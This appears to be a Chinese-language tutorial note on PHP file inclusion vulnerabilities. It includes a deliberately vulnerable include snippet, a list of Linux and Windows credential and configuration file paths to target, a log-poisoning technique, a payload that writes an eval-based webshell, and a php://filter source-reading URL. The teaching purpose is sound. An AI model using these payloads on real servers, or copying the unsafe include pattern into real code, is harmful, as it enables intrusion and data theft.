文件包含漏洞小记

Posted blizzard-player

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞小记相关的知识,希望对你有一定的参考价值。

文件包含函数

  include  调用文件用的函数

  require

<?php
    echo‘<meta http-equiv="Content-Type" content="text/html;charset=gb2312" />‘;
    // include ‘1.txt‘;
    // $a = $_GET[‘page‘];
    $a = "$_GET[page]";
    // echo $a;
    include $a;
?>

include 调用a ,这里可以给a传入任意文件,这个文件有可能传入的是木马文件,能传入任意文件就是文件包含漏洞

远程文件包含

    要求php.ini中的  allow_url_include=on 

例如:127.0.0.1/cs/main.php?page=http://www.baidu.com/index.html 文件main.php 中page 传入的是百度

常见的敏感文件

unix/linux 系统中

  /etc/passwd----------里面一般存放的是用户的一些数据

  /usr/local/app/apache2/conf/httpd.conf----------------里面存放的apache2 默认的配置文件

  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf----------里面存放虚拟网站设置

  /usr/local/app/php5/lib/php.ini--------------------里面存放PHP相关的设置

  /etc/httpd/conf/httpd.conf---------------------里面存放apache的配置文件

  /etc/my.cnf-------------------里面存放mysql 的配置文件

windows系统

  C:\\boot.ini----------------里面可查看系统版本

  C:\\windows\\systen32\\inetsrv\\MetaBase.xml-----------------里面是IIS配置文件

  C:\\windows\\repair\\sam--------------------------存储windows 系统初次安装的密码

  C:\\Program Files\\mysql\\my.ini--------------------里面存放mysql配置

  C:\\Program Files\\mysql\\data\\mysql\\user.MYD-----------------里面存放mysql root

  C:\\windows\\php.ini-------------------------php配置信息

  C:\\windows\\my.ini-------------------存放mysql配置文件

常见的敏感文件----flag

  1. 根目录下存在flag文件
   C://flag.txt
  2. passwd文件存在flag
  /etc/passwd
  3. Web根目录下存在 flag文件
  4. 当前页面下存在flag文件
  5. apache/php/mysql配置文件下存在flag文件
  利用phpinfo()函数来获取路径
包含日志文件getshell

  在页面访问http://127.0.0.1/<?php eval($_POST[111])?> 为了避免在web中被url编码 我们在burpsuite中植入

技术分享图片

这也我们的一句话木马就会被带进日志文件,只要满足allow_url_include=on我们就可以通过文件包含漏洞在本地远程传递服务器的日志文件为参

数从而解析我们植入的一句话木马来拿到shell(必须要知道日志文件的绝对路径)

远程文件包含写入一个shell

<?php

    fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[1]);?>‘);

?>

 fopen()函数打开或者创建一个名为shell.php的文件,fputs()函数往shell.php文件里写入一句话木马

我们把含有这段代码的文件传入给有文件包含漏洞的参数,它就会被执行,在当前目录下创建一个名为shell.php的一句话木马文件

 PHP封装协议读取文件

  http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  

  利用PHP协议去用base64j解读文件main.php,从而还原该文件的源码

 









以上是关于文件包含漏洞小记的主要内容,如果未能解决你的问题,请参考以下文章

齐博分类系统漏洞分析

小记:web安全测试之——固定session漏洞

PHP之namespace小记

✔PHP文件包含漏洞全面总结

小记一次被忽略的恶CSRF刷收藏漏洞

DVWA文件包含漏洞